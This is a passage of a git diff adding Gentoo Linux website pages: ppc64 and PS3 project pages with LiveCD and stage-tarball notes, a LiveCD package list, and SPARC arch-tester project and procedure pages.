+	  finaly released. Many thanks to tgall, who has done a great job
+	  building the stages and install cds.</p>
+      <p>All stages and install cds can be found on the official
+	  mirrors.</p>
+	  <p>Unfortunaly the install cds don't support the iMac G5 due to a
+	  lack of kernel support. There will be a updated install cd, when the
+	  official kernel includes the patches from benh.</p>
+      <p>Although the gentoo handbook wasn't updated in time, because I
+	  (corsair) didn't had the time to do so, but that will follow as soon
+	  as possible!</p>
+    </body>
+  </section>
+-->
+</extrachapter>
+
+  <!-- example for future links to stages or livecds - corsair
+  <extrachapter position="bottom">
+    <title>Stages</title>
+    <section>
+    <title>2005.0</title>
+    <body>
+      <p>
+      <table>
+      <tr>
+        <th>Stage</th>
+        <th>US Mirror</th>
+        <th>Europe Mirror</th>
+        <th>md5sum</th>
+      </tr>
+      <tr>
+        <ti>Stage1</ti>
+        <ti><uri
+        link="http://dev.gentoo.org/~tgall/2005.0/stage1-ppc64-20050310.tar.bz2">Link</uri></ti>
+        <ti><uri
+        link="http://www.unixforces.net/ppc64/2005.0/stages/stage1-ppc64-20050310.tar.bz2">Link</uri></ti>
+        <ti><uri
+        link="http://www.unixforces.net/ppc64/2005.0/stages/stage1-ppc64-20050310.tar.bz2.md5">Link</uri></ti>
+      </tr>
+      <tr>
+        <ti>Stage2</ti>
+        <ti><uri
+        link="http://dev.gentoo.org/~tgall/2005.0/stage2-ppc64-20050311.tar.bz2">Link</uri></ti>
+        <ti><uri
+        link="http://www.unixforces.net/ppc64/2005.0/stages/stage2-ppc64-20050311.tar.bz2">Link</uri></ti>
+        <ti><uri
+        link="http://www.unixforces.net/ppc64/2005.0/stages/stage2-ppc64-20050311.tar.bz2.md5">Link</uri></ti>
+      </tr>
+      <tr>
+        <ti>Stage3</ti>
+        <ti><uri
+        link="http://dev.gentoo.org/~tgall/2005.0/stage3-ppc64-20050311.tar.bz2">Link</uri></ti>
+        <ti><uri
+        link="http://www.unixforces.net/ppc64/2005.0/stages/stage3-ppc64-20050311.tar.bz2">Link</uri></ti>
+        <ti><uri
+        link="http://www.unixforces.net/ppc64/2005.0/stages/stage3-ppc64-20050311.tar.bz2.md5">Link</uri></ti>
+      </tr>
+      </table>
+      </p>
+    </body>
+    </section>
+  </extrachapter>
+  -->
+
+  <extrachapter position="bottom">
+    <title>Installation of Gentoo/PPC64</title>
+    <section>
+    <body>
+      <p>Just follow the <uri
+      link="http://www.gentoo.org/doc/en/handbook/handbook-ppc64.xml">PPC64
+      handbook</uri>. If you get stuck join us on irc.freenode.org
+      #gentoo-ppc64 or open a bugreport at <uri
+      link="http://bugs.gentoo.org">bugs.gentoo.org.</uri></p>
+    </body>
+    </section>
+  </extrachapter>
+
+  <extrachapter position="bottom">
+    <title>How you can help!</title>
+    <section>
+    <body>
+      <p>As with all Open Source projects, volunteers are at the core of
+      making it all happen! Even if you only have an hour or two here or
+      there or you don't know how to code, that's perfectly ok. There are
+      many aspects of an open source project and your talents certainly
+      can advance if not be critical to the project!</p>
+      <p>Please consider helping the team out by joining us on IRC.  We hang
+      out on #gentoo-ppc64 on irc.freenode.net.  All people are welcome.
+      </p>
+    </body>
+    </section>
+  </extrachapter>
+
+  <dev role="Project Leader">tgall</dev>
+  <dev role="member">dostrow</dev>
+  <dev role="member">ranger</dev>
+</project>
+
diff --git a/xml/htdocs/proj/en/base/ppc64/ps3/beta.jpg b/xml/htdocs/proj/en/base/ppc64/ps3/beta.jpg
new file mode 100644
index 00000000..646b15cd
--- /dev/null
+++ b/xml/htdocs/proj/en/base/ppc64/ps3/beta.jpg
diff --git a/xml/htdocs/proj/en/base/ppc64/ps3/index.xml b/xml/htdocs/proj/en/base/ppc64/ps3/index.xml
new file mode 100644
index 00000000..d491f45a
--- /dev/null
+++ b/xml/htdocs/proj/en/base/ppc64/ps3/index.xml
@@ -0,0 +1,90 @@
+<?xml version='1.0' encoding="UTF-8"?>
+<?xml-stylesheet href="/xsl/project.xsl" type="text/xsl"?>
+<?xml-stylesheet href="/xsl/guide.xsl" type="text/xsl"?>
+<!DOCTYPE project SYSTEM "/dtd/project.dtd">
+
+<project>
+<name>Gentoo for PS3</name>
+<longname>Gentoo Linux for PS3 Development</longname>
+<date>Decemeber 18, 2006</date>
+
+<description>
+</description>
+
+<longdescription>
+<p>
+  With Sony's recent introduction of the PS3, you can now run Linux on it as well as use it as a gaming console.  
+    The PS3 is based on a Cell processor and therefore can run most of the ppc64 64ul or 32ul binaries without change.  As of now, the kernel does differ.
+</p>
+ <p>
+  This project page is commited to Linux running on the PS3.  Here you will find all kinds of information
+  related to Gentoo for the PS3, Cell processors, toolchains, and the Gentoo LiveCD for PS3 and PowerMacs.
+  </p>
+  <p>
+  If you are curious about the project, please join us on #gentoo-ppc64 on irc.freenode.net.
+  </p>
+
+  </longdescription>
+
+<extrachapter position="top">
+<title>LiveCD for the Sony PS3 and Apple PowerMacs</title>
+<section>
+<title>12-26-2006</title>
+<body>
+<p>We have now released a beta LiveCD for PPC64, which supports PS3s and Apple PowerMac G5s.  It is available on the Gentoo mirrors under experimental/ppc64/livecd.</p>
+<p>If you are wondering what a livecd is, check out the hi-res <uri link="beta.jpg">screen shot</uri> from Ranger. In addition to a full Gnome desktop, it contains:</p>
+<ul>
+<li>Firefox-2x (Bon Echo)</li>
+<li>Audacious</li>
+<li>Xchat</li>
+<li>Gaim</li>
+<li>Evolution</li>
+<li>Gimp-2</li>
+</ul>
+<note>We are currently having compilation problems with the mozilla products.  Once these compilation problems are sorted out, we will include Thunderbird.  As of now, we are including Firefox-2 with an uncommitted patch.</note>
+
+<p>For a full list of packages included on the LiveCD, see this <uri link="livecd_pkgs.txt">list</uri>. </p>
+</body>
+</section>
+</extrachapter>
+<extrachapter position="bottom">
+<title>Stages</title>
+<section>
+<body>
+<p>There are now 32-bit and 64-bit userland stages in the experimental section of the Gentoo mirrors.  These are stage 4 tarballs, which means they contain a precompiled working system that requires minimal configuration before it is usable.  The stage contains a precompile kernel and modules, Fluxbox window manager, vim, and X.  Both stages run a 64-bit kernel.
+</p>
+<p>For instructions on how to install these stages, check out the <uri link="http://overlays.gentoo.org/proj/cell/wiki/InstallGentooOnPS3">Installing Gentoo on a PS3 </uri> instructions.
+</p>
+</body>
+</section>
+</extrachapter>
+<extrachapter position="bottom">
+<title>GRP Packages</title>
+<section>
+<body>
+<p>GRP packages are precompiled binary tarballs of Gentoo packages.  An example would be kde and its dependancy packages.  For example, suppose you want to eliminate the compilation time for installing KDE, you would simply need to make your system aware of the GRP repository and then can emerge the binary packages quickly.
+</p>
+<p>For instructions on how to install GRP packages, check out the <uri link="http://overlays.gentoo.org/proj/cell/wiki/InstallGentooOnPS3">Installing Gentoo on a PS3 </uri> instructions.
+</p>
+</body>
+</section>
+</extrachapter>
+
+
+<extrachapter position="bottom">
+<title>Relevant links</title>
+<section>
+<body>
+<p>The following is a list of relevant links:</p>
+<ul>
+<li><uri link="http://www.playstation.com/ps3-openplatform/index.html">Open Platform for PLAYSTATION 3</uri></li>
+<!--<li><uri link="http://overlays.gentoo.org/dev/lu_zero">lu_zero's cell and ps3 overlay</uri></li>-->
+<li><uri link="http://overlays.gentoo.org/proj/cell">Gentoo Cell and PS3 Overlay and Project page</uri></li>
+</ul>
+
+</body>
+</section>
+</extrachapter>
+
+</project>
+
diff --git a/xml/htdocs/proj/en/base/ppc64/ps3/livecd_pkgs.txt b/xml/htdocs/proj/en/base/ppc64/ps3/livecd_pkgs.txt
new file mode 100644
index 00000000..195ddfa4
--- /dev/null
+++ b/xml/htdocs/proj/en/base/ppc64/ps3/livecd_pkgs.txt
@@ -0,0 +1,454 @@
+admin/eselect-1.0.2
+admin/eselect-esd-20060719
+admin/eselect-opengl-1.0.3
+admin/gamin-0.1.7
+admin/gnome-system-tools-2.14.0
+admin/ide-smart-1.4
+admin/logrotate-3.7.1-r2
+admin/passook-1.0.0
+admin/pessulus-2.16.1
+admin/pwgen-2.04
+admin/sudo-1.6.8_p12-r1
+admin/syslog-ng-1.6.9
+admin/system-tools-backends-1.4.2
+analyzer/gnome-netstatus-2.12.0
+analyzer/gnome-nettool-2.16.0
+analyzer/netcat-110-r8
+analyzer/netselect-0.3-r1
+analyzer/nmap-4.11
+analyzer/tcpdump-3.9.4-r3
+analyzer/tcptraceroute-1.5_beta6
+analyzer/traceroute-1.4_p12-r5
+apps/apmd-3.2.2_p5
+apps/appres-1.0.0
+apps/coldplug-20040920-r1
+apps/dbus-0.62-r2
+apps/eject-2.1.5
+apps/ethtool-4
+apps/fxload-20020411
+apps/gradm-2.1.9.200602141850
+apps/hal-0.5.7-r3
+apps/hotplug-20040923-r2
+apps/hwdata-gentoo-0.3
+apps/hwsetup-1.1
+apps/ibm-powerpc-utils-1.0.2
+apps/iceauth-1.0.1
+apps/iproute2-2.6.18.20061002
+apps/luit-1.0.1
+apps/memtester-4.0.3
+apps/mesa-progs-6.5.1
+apps/miscfiles-1.4.2
+apps/mkfontdir-1.0.2
+apps/mkfontscale-1.0.1
+apps/netplug-1.2.9-r3
+apps/parted-1.7.1-r1
+apps/pciutils-2.2.0-r1
+apps/powerpc-utils-1.1.3-r18
+apps/rgb-1.0.1
+apps/sdparm-0.98
+apps/sessreg-1.0.0
+apps/setxkbmap-1.0.2
+apps/slocate-2.7-r8
+apps/smartmontools-5.36-r1
+apps/usbutils-0.71-r1
+apps/xclock-1.0.2
+apps/xdpyinfo-1.0.1
+apps/xhost-1.0.1
+apps/xinit-1.0.2-r6
+apps/xkbcomp-1.0.2
+apps/xmodmap-1.0.1
+apps/xprop-1.0.1
+apps/xrandr-1.0.2
+apps/xrdb-1.0.2
+apps/xsm-1.0.1
+apps/xwininfo-1.0.2
+arch/file-roller-2.16.2
+arch/mt-st-0.7-r1
+arch/unrar-3.6.8
+arch/unzip-5.52-r1
+arch/zip-2.31-r1
+base/arts-3.5.5
+base/control-center-2.16.2
+base/eel-2.16.3
+base/gail-1.9.3
+base/gconf-2.14.0
+base/gdm-2.16.4
+base/gnome-2.16.1
+base/gnome-applets-2.16.2
+base/gnome-common-2.12.0
+base/gnome-desktop-2.16.2
+base/gnome-keyring-0.6.0
+base/gnome-menus-2.16.1
+base/gnome-mime-data-2.4.3
+base/gnome-mount-0.4-r5
+base/gnome-panel-2.16.2
+base/gnome-session-2.16.1
+base/gnome-vfs-2.16.3
+base/libbonobo-2.16.0
+base/libbonoboui-2.16.0
+base/libglade-2.6.0
+base/libgnome-2.16.0
+base/libgnomecanvas-2.14.0
+base/libgnomeprint-2.12.1
+base/libgnomeprintui-2.12.1
+base/libgnomeui-2.16.1
+base/libgtop-2.14.4
+base/librsvg-2.16.0
+base/nautilus-2.16.3
+base/orbit-2.14.2
+base/xorg-server-1.1.1-r1
+base/xorg-x11-7.1
+block/gparted-0.3.1
+boot/yaboot-1.3.13-r1
+cdr/cdrtools-2.01.01_alpha10
+client/epiphany-2.16.2
+client/evolution-2.8.2.1
+client/mozilla-firefox-2.0-r2
+client/mozilla-launcher-1.52
+core/digest-base-1.13
+cpp/glibmm-2.8.4
+cpp/gtkmm-2.8.3
+cpp/libbinio-1.4
+crypt/gnupg-1.4.6
+crypt/gnupg-1.9.21
+crypt/opencdk-0.5.7
+devel/distcc-2.18.3-r10
+devel/gdb-6.4
+dialup/linux-atm-2.4.1-r1
+dialup/lrzsz-0.12.20-r1
+dialup/mingetty-1.07
+dialup/minicom-2.1-r2
+dialup/ppp-2.4.4-r4
+dialup/pptpclient-1.7.1
+dialup/rp-pppoe-3.8
+dicts/aspell-en-0.51.1
+dns/bind-tools-9.3.2
+dns/libidn-0.5.15
+doc/xorg-docs-1.2
+drivers/synaptics-0.14.5-r1
+drivers/xf86-input-evdev-1.1.2-r2
+drivers/xf86-input-keyboard-1.1.0
+drivers/xf86-input-mouse-1.1.1
+drivers/xf86-video-dummy-0.2.0
+drivers/xf86-video-fbdev-0.3.0
+drivers/xf86-video-mga-1.4.2
+drivers/xf86-video-nv-1.1.2
+drivers/xf86-video-sisusb-0.8.1
+drivers/xf86-video-v4l-0.1.1
+editors/emacs-21.4-r4
+editors/gedit-2.16.2
+editors/vim-7.0.17
+editors/vim-core-7.0.17
+extra/bug-buddy-2.16.0
+extra/deskbar-applet-2.16.2
+extra/evolution-data-server-1.8.2
+extra/evolution-webcal-2.8.0
+extra/fast-user-switch-applet-2.16.0
+extra/gcalctool-5.8.25
+extra/gconf-editor-2.16.0
+extra/gnome-games-2.16.2
+extra/gnome-keyring-manager-2.16.0-r1
+extra/gnome-media-2.16.1
+extra/gnome-power-manager-2.16.2
+extra/gnome-screensaver-2.16.2
+extra/gnome-system-monitor-2.16.1
+extra/gnome-utils-2.16.2
+extra/gnome2-user-docs-2.16.1
+extra/gtkhtml-2.6.3
+extra/gtkhtml-3.12.2
+extra/gucharmap-1.8.0
+extra/libgda-1.2.3
+extra/libgsf-1.14.2
+extra/nautilus-cd-burner-2.16.2
+extra/yelp-2.16.1
+extra/zenity-2.16.2
+filter/spamassassin-3.1.3
+fonts/corefonts-1-r2
+fonts/encodings-1.0.0
+fonts/font-adobe-100dpi-1.0.0
+fonts/font-adobe-75dpi-1.0.0
+fonts/font-adobe-utopia-type1-1.0.1
+fonts/font-alias-1.0.1
+fonts/font-bh-type1-1.0.0
+fonts/font-cursor-misc-1.0.0
+fonts/font-misc-misc-1.0.0
+fonts/gnu-gs-fonts-std-8.11
+fonts/ttf-bitstream-vera-1.10-r3
+fs/device-mapper-1.02.10-r1
+fs/dosfstools-2.11-r1
+fs/evms-2.5.5-r1
+fs/hfsplusutils-1.0.4-r1
+fs/hfsutils-3.2.6-r5
+fs/jfsutils-1.1.8
+fs/lvm2-2.02.06
+fs/mac-fdisk-0.1-r2
+fs/mdadm-2.5.2
+fs/nfs-utils-1.0.6-r6
+fs/ntfsprogs-1.13.1
+fs/raidtools-1.00.3-r6
+fs/reiserfsprogs-3.6.19
+fs/xfsprogs-2.7.11
+gfx/eog-2.16.2
+gfx/fbgrab-1.0
+gfx/gimp-2.2.12
+gfx/imagemagick-6.3.0.5
+gfx/xloadimage-4.1-r4
+im/gaim-1.5.0
+irc/irssi-0.8.10-r3
+irc/xchat-2.6.6
+kernel/genkernel-3.4.4
+kernel/gentoo-sources-2.6.18-r3
+lang/tcl-8.4.9
+lang/tk-8.4.9
+libs/alsa-lib-1.0.13
+libs/atk-1.12.3
+libs/audiofile-0.2.6-r2
+libs/cairo-1.2.4
+libs/fontconfig-2.3.2-r1
+libs/freeglut-2.4.0
+libs/freetype-2.1.10-r2
+libs/giflib-4.1.4
+libs/gksu-2.0.0
+libs/gle-3.0.1-r2
+libs/glib-1.2.10-r5
+libs/glib-2.12.4-r1
+libs/gnutls-1.4.4-r1
+libs/gst-plugins-base-0.10.8
+libs/gst-plugins-good-0.10.3
+libs/gstreamer-0.10.8
+libs/gtk+-1.2.10-r12
+libs/gtk+-2.10.6
+libs/gtkglarea-1.99.0
+libs/gtksourceview-1.8.1
+libs/jasper-1.701.0
+libs/jbigkit-1.6-r1
+libs/jpeg-6b-r7
+libs/libIDL-0.8.7
+libs/libXScrnSaver-1.1.0
+libs/libXaw-1.0.2
+libs/libXcomposite-0.3
+libs/libXcursor-1.1.7
+libs/libXdamage-1.0.3
+libs/libXfixes-4.0.1
+libs/libXfont-1.2.2
+libs/libXft-2.1.10
+libs/libXi-1.0.1
+libs/libXinerama-1.0.1
+libs/libXp-1.0.0
+libs/libXpm-3.5.5
+libs/libXrandr-1.1.1
+libs/libXrender-0.9.1
+libs/libXres-1.0.1
+libs/libXtst-1.0.1
+libs/libXv-1.0.1
+libs/libXxf86dga-1.0.1
+libs/libXxf86misc-1.0.1
+libs/libXxf86vm-1.0.1
+libs/libao-0.8.5
+libs/libart_lgpl-2.3.17
+libs/libassuan-0.6.10
+libs/libcap-1.10-r5
+libs/libcdio-0.77
+libs/libcroco-0.6.1
+libs/libdmx-1.0.2
+libs/libdrm-2.0.2
+libs/libexif-0.6.13-r1
+libs/libfontenc-1.0.2
+libs/libgcrypt-1.2.2-r1
+libs/libgksu-2.0.0
+libs/libgpg-error-1.0-r1
+libs/libid3tag-0.15.1b
+libs/libksba-0.9.15
+libs/libkudzu-1.1.62-r1
+libs/liblbxutil-1.0.1
+libs/libmad-0.15.1b
+libs/libmng-1.0.9-r1
+libs/libmpeg2-0.4.0b
+libs/libnet-1.1.2.1-r1
+libs/libnotify-0.4.3
+libs/libogg-1.1.2
+libs/liboil-0.3.6-r1
+libs/libol-0.3.18
+libs/libpcap-0.9.4
+libs/libpng-1.2.13
+libs/libsdl-1.2.11
+libs/libsexy-0.1.8
+libs/libsigc++-2.0.17
+libs/libsoup-2.2.98
+libs/libtasn1-0.3.5
+libs/libusb-0.1.12
+libs/libutempter-1.1.4.1
+libs/libvorbis-1.1.2
+libs/libwnck-2.16.2
+libs/libxkbfile-1.0.3
+libs/libxkbui-1.0.2
+libs/libxklavier-3.0
+libs/libxml2-2.6.26
+libs/libxslt-1.1.17
+libs/lzo-2.02-r1
+libs/mesa-6.5.1-r1
+libs/motif-config-0.9
+libs/musicbrainz-2.1.4
+libs/netpbm-10.34
+libs/nspr-4.6.3
+libs/nss-3.11.3
+libs/openmotif-2.2.3-r9
+libs/pango-1.14.9
+libs/pth-2.0.3
+libs/qt-3.3.6-r4
+libs/qt-4.1.4-r2
+libs/startup-notification-0.8
+libs/taglib-1.4
+libs/tiff-3.8.2-r2
+libs/urt-3.1b-r1
+libs/vte-0.14.1
+mail/mailbase-1
+misc/Xorgautoconfig-0.2.4-r1
+misc/alacarte-0.10.1-r1
+misc/bridge-utils-1.0.6-r3
+misc/curl-7.15.1-r1
+misc/dhcpcd-2.0.5-r1
+misc/livecd-tools-1.0.33-r2
+misc/mkxf86config-0.9.7
+misc/neon-0.26.1-r1
+misc/netkit-fingerd-0.17-r3
+misc/netkit-rsh-0.17-r7
+misc/notification-daemon-0.3.5
+misc/ntp-4.2.2_p3
+misc/rdate-1.4-r1
+misc/screen-4.0.3
+misc/shared-mime-info-0.18-r1
+misc/vino-2.16.0
+misc/vlock-1.3-r2
+misc/whois-4.7.19
+misc/xac-0.5
+misc/xbitmaps-1.0.1
+misc/xdg-utils-1.0
+misc/xkeyboard-config-0.8
+misc/xscreensaver-4.24
+mta/ssmtp-2.61-r2
+nds/portmap-5b-r9
+p2p/bittorrent-4.4.0
+perl/Archive-Tar-1.29
+perl/Compress-Raw-Zlib-2.001
+perl/Compress-Zlib-2.001
+perl/Crypt-SSLeay-0.51-r1
+perl/Digest-HMAC-1.01-r1
+perl/Digest-SHA1-2.11
+perl/HTML-Parser-3.55
+perl/HTML-Tagset-3.10
+perl/HTML-Tree-3.21
+perl/IO-Compress-Base-2.001
+perl/IO-Compress-Zlib-2.001
+perl/IO-Socket-INET6-2.51
+perl/IO-Socket-SSL-0.99.9
+perl/IO-String-1.08
+perl/IO-Zlib-1.04
+perl/Net-DNS-0.58
+perl/Net-IP-1.25
+perl/Net-SSLeay-1.25
+perl/Socket6-0.19
+perl/URI-1.35
+perl/XML-Parser-2.34
+perl/libwww-perl-5.805
+plugins/audacious-plugins-1.2.2-r1
+plugins/gst-plugins-alsa-0.10.4
+plugins/gst-plugins-cdparanoia-0.10.4
+plugins/gst-plugins-esd-0.10.2
+plugins/gst-plugins-gconf-0.10.3
+plugins/gst-plugins-gnomevfs-0.10.8
+plugins/gst-plugins-mad-0.10.3-r1
+plugins/gst-plugins-mpeg2dec-0.10.3
+plugins/gst-plugins-ogg-0.10.8
+plugins/gst-plugins-oss-0.10.2
+plugins/gst-plugins-pango-0.10.8
+plugins/gst-plugins-vorbis-0.10.8
+plugins/gst-plugins-x-0.10.4
+plugins/gst-plugins-xvideo-0.10.4-r1
+portage/gentoolkit-0.2.2
+portage/mirrorselect-1.2
+portage/ufed-0.40-r1
+power/powermgmt-base-1.22
+print/cups-1.2.6
+print/gnome-cups-manager-0.31-r2
+print/libgnomecups-0.2.2
+process/cronbase-0.3.2
+process/vixie-cron-4.1-r9
+proto/compositeproto-0.3.1
+proto/damageproto-1.0.3
+proto/fixesproto-4.0
+proto/fontsproto-2.0.2
+proto/printproto-1.0.3
+proto/randrproto-1.1.2
+proto/recordproto-1.13.2
+proto/renderproto-0.9.2
+proto/scrnsaverproto-1.1.0
+proto/videoproto-2.2.2
+python/gnome-python-2.16.2
+python/gnome-python-desktop-2.16.0
+python/gnome-python-extras-2.14.0-r1
+python/numeric-23.7
+python/pycairo-1.2.2
+python/pygobject-2.12.3
+python/pygtk-2.10.3
+python/pyopengl-2.0.0.44
+python/pyorbit-2.14.1
+python/pyrex-0.9.4.1
+sound/alsa-headers-1.0.13
+sound/alsa-utils-1.0.13
+sound/audacious-1.2.2
+sound/cdparanoia-3.9.8-r5
+sound/esound-0.2.36-r2
+sound/lame-3.96.1
+sound/sound-juicer-2.16.2
+terms/gnome-terminal-2.16.1
+terms/xterm-222
+text/aspell-0.50.5-r4
+text/build-docbook-catalog-1.2
+text/docbook-xml-dtd-4.1.2-r6
+text/docbook-xsl-stylesheets-1.70.1
+text/enchant-1.2.5
+text/evince-0.6.1
+text/ghostscript-gpl-8.54
+text/gnome-doc-utils-0.8.0
+text/gnome-spell-1.0.7-r1
+text/gtkspell-2.0.11-r1
+text/iso-codes-0.58
+text/libpaper-1.1.20
+text/poppler-0.5.4
+text/poppler-bindings-0.5.4
+text/scrollkeeper-0.3.14-r2
+themes/gdm-themes-livecd-2006.1
+themes/gentoo-artwork-livecd-2006.1
+themes/gnome-backgrounds-2.16.2
+themes/gnome-icon-theme-2.16.1
+themes/gnome-themes-2.16.2
+themes/gtk-engines-2.8.2
+themes/hicolor-icon-theme-0.9-r1
+util/ccache-2.3
+util/ctags-5.5.4-r2
+util/desktop-file-utils-0.11
+util/dialog-1.0.20050206
+util/intltool-0.35.0
+video/mpeg2vidcodec-12-r1
+video/mplayer-1.0_pre8
+video/totem-2.16.4
+virtual/ghostscript-0
+virtual/glu-7.0
+virtual/glut-1.0
+virtual/opengl-7.0
+virtual/perl-DB_File-1.814
+virtual/perl-Digest-MD5-2.36
+virtual/perl-MIME-Base64-3.07
+virtual/perl-PodParser-1.34
+virtual/perl-Scalar-List-Utils-1.18
+virtual/perl-Storable-2.15
+virtual/perl-Test-Harness-2.56
+virtual/perl-Time-HiRes-1.86
+virtual/perl-digest-base-1.13
+virtual/perl-libnet-1.19
+virtual/xft-7.0
+wireless/wireless-tools-28
+wireless/wpa_supplicant-0.5.4
+wm/metacity-2.16.3
+wm/twm-1.0.1
diff --git a/xml/htdocs/proj/en/base/sparc/at/index.xml b/xml/htdocs/proj/en/base/sparc/at/index.xml
new file mode 100644
index 00000000..35fb1a2e
--- /dev/null
+++ b/xml/htdocs/proj/en/base/sparc/at/index.xml
@@ -0,0 +1,117 @@
+<?xml version="1.0" encoding="UTF-8"?>
+<?xml-stylesheet href="/xsl/project.xsl" type="text/xsl"?>
+<?xml-stylesheet href="/xsl/guide.xsl" type="text/xsl"?>
+<!DOCTYPE project SYSTEM "http://www.gentoo.org/dtd/project.dtd">
+<project>
+
+<name>Gentoo/SPARC ATs</name>
+
+<longname>Gentoo/SPARC Arch Testers</longname>
+
+<description>
+The Gentoo/SPARC AT Project is devoted to help the developers with time-consuming testing.
+</description>
+
+<longdescription>
+<p>The Gentoo/SPARC Arch Testers (ATs) assist the developers with the time-consuming testing to help
+keeping the Portage tree up to date. They mainly communicate with the developers through
+<uri link="http://bugs.gentoo.org/">Gentoo's Bugzilla</uri> and IRC. The ATs are also on the
+<c>sparc@gentoo.org</c> mail alias so they can watch the bugzilla traffic closely.</p>
+</longdescription>
+
+<extrachapter position="top">
+<title>Participating</title>
+<section>
+<body>
+<p>We are constantly looking for new arch testers. If you meet the following criterias, you are
+likely our ideal candidate:</p>
+<ul>
+<li>You are running Gentoo/SPARC.</li>
+<li>You like tinkering around with new software.</li>
+<li>You want to get involved in Gentoo development, help to make the distribution better every day.</li>
+</ul>
+<p>If you want to participate, email <mail link="tcunha@gentoo.org">tcunha@gentoo.org</mail>. He will lead you through the process and
+help you with the <uri link="/proj/en/devrel/quiz/ebuild-quiz.txt">ebuild</uri>, and 
+<uri link="/proj/en/base/sparc/at/sparc-quiz.txt">sparc</uri> quizzes
+which is a requirement for all ATs.</p>
+<note>Arch testers might not be official Gentoo developers. They are, however, a recognized
+part of the Gentoo/SPARC arch team.</note>
+</body>
+</section>
+</extrachapter>
+
+<extrachapter>
+<title>Arch Testers Policy</title>
+<section>
+<body>
+<p>There are a few rules which must be followed to assure a certain quality level. Gentoo/SPARC arch testers
+must fulfill these requirements:</p>
+<ul>
+<li>Use a stable system or a stable chroot environment for testing</li>
+<li>Use reasonable <c>CFLAGS</c></li>
+<li>Make sure the package honours <c>CFLAGS</c> (GCC generates v7 code by default, which forces kernel
+emulation). If not, you should mark it as a blocker for bug <uri link="http://bugs.gentoo.org/59506">#59506</uri>.
+There're a few exceptions, such as x11-libs/qt, and www-client/mozilla-firefox</li>
+<li>Enable at least the following <c>FEATURES</c>:  <c>collision-protect</c>,
+<c>sandbox</c>, <c>test</c></li>
+<li>Test thoroughly</li>
+<li>Before requesting a stablization, check that the ebuild is at least 30 days old and without modifications</li>
+<li>Use the <c>category/package-version</c> format when reporting success or failure</li>
+<li>Always append <c>emerge --info</c> to bug reports</li>
+</ul>
+</body>
+</section>
+</extrachapter>
+
+<extrachapter>
+<title>Gentoo/SPARC AT Listing</title>
+<section>
+<body>
+<p>The following people are currently contributing to this project:</p>
+<table>
+
+<tr>
+<th>Full Name</th>
+<th>Nickname</th>
+<th>Status</th>
+<th>Email</th>
+</tr>
+
+<tr>
+<ti>Tiago Cunha</ti>
+<ti>tcunha</ti>
+<ti>AT Lead, official Dev</ti>
+<ti>tcunha@gentoo.org</ti>
+</tr>
+
+<tr>
+<ti>Jorge Manuel B. S. Vicetto</ti>
+<ti>jmbsvicetto</ti>
+<ti>Retired, is now an official Dev</ti>
+<ti>jmbsvicetto@gentoo.org</ti>
+</tr>
+
+<tr>
+<ti>Friedrich Oslage</ti>
+<ti>bluebird</ti>
+<ti>Retired, is now an official Dev</ti>
+<ti>bluebird@gentoo.org</ti>
+</tr>
+
+<tr>
+<ti>Aaron Mavrinac</ti>
+<ti>ezod</ti>
+<ti>Inactive</ti>
+<ti>mavrinac@gmail.com</ti>
+</tr>
+
+</table>
+</body>
+</section>
+</extrachapter>
+
+<resource link="/proj/en/base/sparc/at/procedures.xml">AT Procedures</resource>
+
+<dev role="Subproject Lead">tcunha</dev>
+
+</project>
diff --git a/xml/htdocs/proj/en/base/sparc/at/procedures.xml b/xml/htdocs/proj/en/base/sparc/at/procedures.xml
new file mode 100644
index 00000000..72fdbbca
--- /dev/null
+++ b/xml/htdocs/proj/en/base/sparc/at/procedures.xml
@@ -0,0 +1,205 @@
+<?xml version='1.0' encoding="UTF-8"?>
+<!DOCTYPE guide SYSTEM "/dtd/guide.dtd">
+
+<!-- $Header: /var/cvsroot/gentoo/xml/htdocs/proj/en/base/sparc/at/procedures.xml,v 1.4 2008/12/08 00:44:56 tcunha Exp $ -->
+
+<!-- The context of this document is licensed under the CC-BY-SA license -->
+<!-- See http://creativecommonds.org/licenses/by-sa/1.0 -->
+
+<guide link="/proj/en/base/sparc/at/procedures.xml" lang="en">
+<title>Gentoo/SPARC Arch Testers' Guide</title>
+
+<author title="Author">
+	<mail link="hparker@gentoo.org">hparker@gentoo.org</mail>
+</author>
+
+<abstract>
+This Guide shows you how to test packages for stablization/inclusion into the testing tree.
+</abstract>
+
+<license/>
+
+<version>1.4</version>
+<date>2008-12-08</date>
+
+<chapter>
+<title/>
+<section>
+<title>Marking Stable:  When and How?</title>
+<body>
+
+<p>
+The <uri link="http://dev.gentoo.org/~tcunha/reports/imlate-sparc.txt">imlate</uri> 
+file is there to show which packages on sparc are lagging
+behind on x86 and need to be tested and eventually marked stable. It's
+very useful to have people systematically testing these packages - it
+helps to keep sparc as up-to-date as possible. The following guidelines
+are specifically aimed at Gentoo/SPARC Arch Testers (ATs) doing testing.
+</p>
+
+<ul>
+<li>
+  Check the newest version of the package is marked ~sparc (TESTING),
+  if not please read the next section of the document for the steps
+  to follow to quickly/efficiently have a package keyworded ~sparc.
+  <br/><br/>
+</li>
+
+<li>
+  If the package is already ~sparc, then:
+  <ul>
+    <li>
+      Check to see when it was marked ~sparc. There should be a date
+      in the package changelog, but if there isn't please use the
+      ViewCVS functionality on http://sources.gentoo.org to look for
+      the date it was keyworded ~sparc. If it was less than 30 days
+      ago, the package is not eligible to be marked stable, but
+      testing and feedback are still greatly appreciated.
+    </li>
+    <li>
+      Check for bugs on this particular version of the package. If a
+      bug has been open in the last 30 days, it is not eligible.
+    </li>
+    <li>
+      If it has been in testing for more than 30 days, and has not
+      had an open bug in the last 30 days, you need to test it in a
+      thorough and systematic manner. Every conceivable permutation
+      should be checked and rechecked - if it breaks you need to go
+      onto Bugzilla and open a relevent bug. If it doesn't break and
+      you are totally satisfied it's stable, continue to the final
+      step -- but beware, its your head if this package breaks!
+    </li>
+    <li>
+      Assuming it meets all the criteria (tested for 30+ days, no
+      bugs in the last 30 days, AT tested) you may open a bug with
+      the title '&lt;category&gt;/&lt;package&gt;-&lt;version&gt; is stable on SPARC'.
+      Assign the bug directly to sparc@gentoo.org to avoid making
+      more work for the poor Bug Wranglers. You should include the
+      output of your 'emerge --info' and keyword the bug <c>STABLE</c>. Just
+      wait a while, a developer will review the bug, and mark stable.
+    </li>
+  </ul>
+</li>
+</ul>
+
+</body>
+</section>
+
+<section>
+<title>Marking Testing:  What's the drill?</title>
+<body>
+
+<p>
+In some cases the imlate file may show packages where the latest version is
+not yet ~sparc, or a new and popular package needs to be keyworded ~sparc. In
+these cases, we need to have them 'marked testing' - so when they're bug free
